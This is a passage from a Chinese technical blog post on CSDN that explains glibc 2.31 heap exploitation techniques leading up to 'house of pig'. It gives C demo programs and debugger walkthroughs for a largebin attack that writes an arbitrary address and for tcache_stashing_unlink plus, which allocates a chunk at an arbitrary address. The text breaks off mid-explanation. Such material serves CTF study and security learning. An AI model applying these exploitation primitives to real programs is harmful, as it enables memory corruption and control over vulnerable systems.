house of pig详解

本文详细探讨了glibc 2.31版本中的largebin攻击和tcache_stashing_unlink漏洞利用,包括大型bin攻击的原理和步骤,以及如何利用tcache_stashing_unlink进行任意地址分配chunk。此外,还介绍了高版本glibc下_IO_FILE结构的利用方法,以及house of pig漏洞的利用流程。通过对libc和堆管理的理解,展示了攻击者如何通过这些漏洞实现系统控制。
摘要由CSDN通过智能技术生成

在复现这题之前需要了解一些前置知识:libc2.31下的largebin_attacktcache_stashing_unlink plus以及高版本glibc下的IO_FILE攻击

首先看到libc2.31下的largebin_attack

0x1.libc2.31下的largebin_attack

跟随how2heap项目中的largebin_attack以及源码调试来学习。

从libc2.30开始,largebin的插入代码中新增了两个检查

先看到第一个点

2c5gYj.jpg

将unsortedbin插入到largebin中时,且这个unsortedbin大于largebin的size,此时插入过程增加了双向链表完整性检查。

通常就是修改largebin的bk_nextsize=target_addr-0x20,然后在插入一个比原有largebin更大的unsortedbin时(后面称原有的largebin为largebin1,新插入的为largebin2),在插入过程中,largebin1的bk_nextsize被设置为largebin1的bk_nextsize,即target_addr-0x20,后续victim->bk_nextsize->fd_nextsize = victim这条语句,会将target_addr-0x20+0x20位置写入largebin2的地址,这是第一个点。

第二个点如下

2chIg0.png

这里的利用方式是修改largebin1的bk=target_addr-0x10,bck = fwd->bk;bck->fd = victim;这两句代码执行完毕后会将target_addr-0x10+0x10的位置写入largebin1的地址。

如图所示,这两处都添加了检查。

但当要插入的unsortedbin小于largebin的size时并没有做检查,如下图

2cIbb8.jpg

在这里并没有进行检查,因此在libc2.31下这里就成了新的利用点。

demo文件如下

#include<stdio.h>
#include<stdlib.h>
#include<assert.h>
 
/*
 
A revisit to large bin attack for after glibc2.30
 
Relevant code snippet :
 
    if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){
        fwd = bck;
        bck = bck->bk;
        victim->fd_nextsize = fwd->fd;
        victim->bk_nextsize = fwd->fd->bk_nextsize;
        fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
    }
 
 
*/
 
int main(){
  /*Disable IO buffering to prevent stream from interfering with heap*/
  setvbuf(stdin,NULL,_IONBF,0);
  setvbuf(stdout,NULL,_IONBF,0);
  setvbuf(stderr,NULL,_IONBF,0);
 
  size_t target = 0;
  size_t *p1 = malloc(0x428);
  size_t *g1 = malloc(0x18);
 
  size_t *p2 = malloc(0x418);
  size_t *g2 = malloc(0x18);
 
  free(p1);
  size_t *g3 = malloc(0x438);
 
 
  free(p2);
 
  p1[3] = (size_t)((&target)-4);
 
  size_t *g4 = malloc(0x438);
 
  assert((size_t)(p2-2) == target);
 
  return 0;
}

我删掉了原文件中的一些描述性代码,以便于观看代码。

整体攻击思路就是申请一大一小两个chunk(后面称为chunk1,chunk2),先free掉chunk1,然后申请一个更大的chunk来将chunk1从unsortedbin中插入到largebin,接着将chunk1的bk_nextsize设置为target_addr-0x20,这是第一步;第二步,free掉chunk2,然后申请一个更大的chunk来将chunk2从unsortedbin中插入到largebin中,由于此时插入的chunk2的size要小于chunk1,所以会触发新的攻击流程,这里我们采用源码调试,以便更直观地学习。

在程序执行到size_t *g4 = malloc(0x438);这一句时,堆的情况如下

2Ro900.png

largebin里放着0x430的chunk,unsortedbin里面则是0x420的

2Ro1hD.png

2RoB4S.png

chunk1的bk_nextsize被设置为了target_addr-0x20

接下来我们将断点下在_int_malloc函数

2Roo34.png

2RoLHx.png

然后我们运行到将unsortedbin插入到largebin的代码

2WoKdP.png

首先获取要插入的unsortedbin对应的largebin的index,然后获取到对应的链表头

2WoUZq.png

由于此时largebin中已经有了一个chunk,所以对应链表头的fd和bk都被设置为了这个largebin的地址,类似于下面这样

2WLTl8.png

然后进入到插入环节

2WoHOA.png

将bck,也就是链表头赋值给fwd,将bck->bk(chunk1的地址)赋值给bck,进入到插入操作,首先将chunk2(即将插入的chuhnk)的fd_nextsize设置为chunk1的地址

RGPD3Q.png

再将chunk2的bk_nextsize设置为chunk1的bk_nextsize,而chunk1的bk_nextsize已经被修改为了target_addr-0x20,因此chunk2的bk_nextsize也会指向target_addr-0x20

2WHyQg.png

最后一行代码用于修改chunk1的fd_nextsize和bk_nextsize为chunk2的地址,由于设置chunk1的fd_nextsize是通过

victim->bk_nextsize->fd_nextsize来设置的,而victim->bk_nextsize指向的是一个错误的地址,执行完这条赋值语句后就会在target_addr+0x20的位置上写入chunk2的地址

2WX5M8.png

至此就实现了类似于libc2.23下的unsortedbin attack,往任意地址写入一个堆地址。

0x2.tcache_stashing_unlink plus

此种利用方式可以达成任意地址处分配一个chunk

demo如下

#include <stdio.h>
#include <stdlib.h>
#include <inttypes.h>
 
static uint64_t victim[4] = {0, 0, 0, 0};
 
int main(int argc, char **argv){
    setbuf(stdout, 0);
    setbuf(stderr, 0);
 
    char *t1;
    char *s1, *s2, *pad;
    char *tmp;
 
    printf("You can use this technique to get a tcache chunk to arbitrary address\n");
 
    printf("\n1. need to know heap address and the victim address that you need to attack\n");
 
    tmp = malloc(0x1);
    printf("victim's address: %p, victim's vaule: [0x%lx, 0x%lx, 0x%lx, 0x%lx]\n",
        &victim, victim[0], victim[1], victim[2], victim[3]);
    printf("heap address: %p\n", tmp-0x260);
 
    printf("\n2. change victim's data, make victim[1] = &victim, or other address to writable address\n");
    victim[1] = (uint64_t)(&victim);
    printf("victim's vaule: [0x%lx, 0x%lx, 0x%lx, 0x%lx]\n",
        victim[0], victim[1], victim[2], victim[3]);
 
 
    printf("\n3. choose a stable size and free five identical size chunks to tcache_entry list\n");
    printf("Here, I choose the size 0x60\n");
    for(int i=0; i<5; i++){
        t1 = calloc(1, 0x50);
        free(t1);
    }
 
    printf("Now, the tcache_entry[4] list is %p --> %p --> %p --> %p --> %p\n",
        t1, t1-0x60, t1-0x60*2, t1-0x60*3, t1-0x60*4);
 
    printf("\n4. free two chunk with the same size like tcache_entry into the corresponding smallbin\n");
 
    s1 = malloc(0x420);
    printf("Alloc a chunk %p, whose size is beyond tcache size threshold\n", s1);
    pad = malloc(0x20);
    printf("Alloc a padding chunk, avoid %p to merge to top chunk\n", s1);
    free(s1);
    printf("Free chunk %p to unsortedbin\n", s1);
    malloc(0x3c0);
    printf("Alloc a calculated size, make the rest chunk size in unsortedbin is 0x60\n");
    malloc(0x100);
    printf("Alloc a chunk whose size is larger than rest chunk size in unsortedbin, that will trigger chunk to other bins like smallbins\n");
    printf("chunk %p is in smallbin[4], whose size is 0x60\n", s1+0x3c0);
 
    printf("Repeat the above steps, and free another chunk into corresponding smallbin\n");
    printf("A little difference, notice the twice pad chunk size must be larger than 0x60, or you will destroy first chunk in smallbin[4]\n");
    s2 = malloc(0x420);
    pad = malloc(0x80);
    free(s2);
    malloc(0x3c0);
    malloc(0x100);
    printf("chunk %p is in smallbin[4], whose size is 0x60\n", s2+0x3c0);
    printf("smallbin[4] list is %p <--> %p\n", s2+0x3c0, s1+0x3c0);
 
    printf("\n5. overwrite the first chunk in smallbin[4]'s bk pointer to &victim-0x10 address, the first chunk is smallbin[4]->fd\n");
    printf("Change %p's bk pointer to &victim-0x10 address: 0x%lx\n", s2+0x3c0, (uint64_t)(&victim)-0x10);
    *(uint64_t*)((s2+0x3c0)+0x18) = (uint64_t)(&victim)-0x10;
 
    printf("\n6. use calloc to apply to smallbin[4], it will trigger stash mechanism in smallbin.\n");
 
    calloc(1, 0x50);
    printf("Now, the tcache_entry[4] list is %p --> %p --> %p --> %p --> %p --> %p --> %p\n",
        &victim, s2+0x3d0, t1, t1-0x60, t1-0x60*2, t1-0x60*3, t1-0x60*4);
 
    printf("Apply to tcache_entry[4], you can get a pointer to victim address\n");
 
    uint64_t *r = (uint64_t*)malloc(0x50);
    r[0] = 0xaa;
    r[1] = 0xbb;
    r[2] = 0xcc;
    r[3] = 0xdd;
 
    printf("victim's vaule: [0x%lx, 0x%lx, 0x%lx, 0x%lx]\n",
        victim[0], victim[1], victim[2], victim[3]);
 
    return 0;
}

整体思路如下

1.tcache中放5个,smallbin中放两个

2.将后进smallbinchunkbk(不破坏fd指针的情况下)修改为目标地址-0x10,同时将目标地址+0x8处的值设置为一个指向可写内存的指针。

3.从smallbin中取一个chunk,走完stash流程,目标地址就会被链入tcache中。

依然是源码调试

将断点下在calloc(1, 0x50);</

  • 38
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 31
    评论
评论 31
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值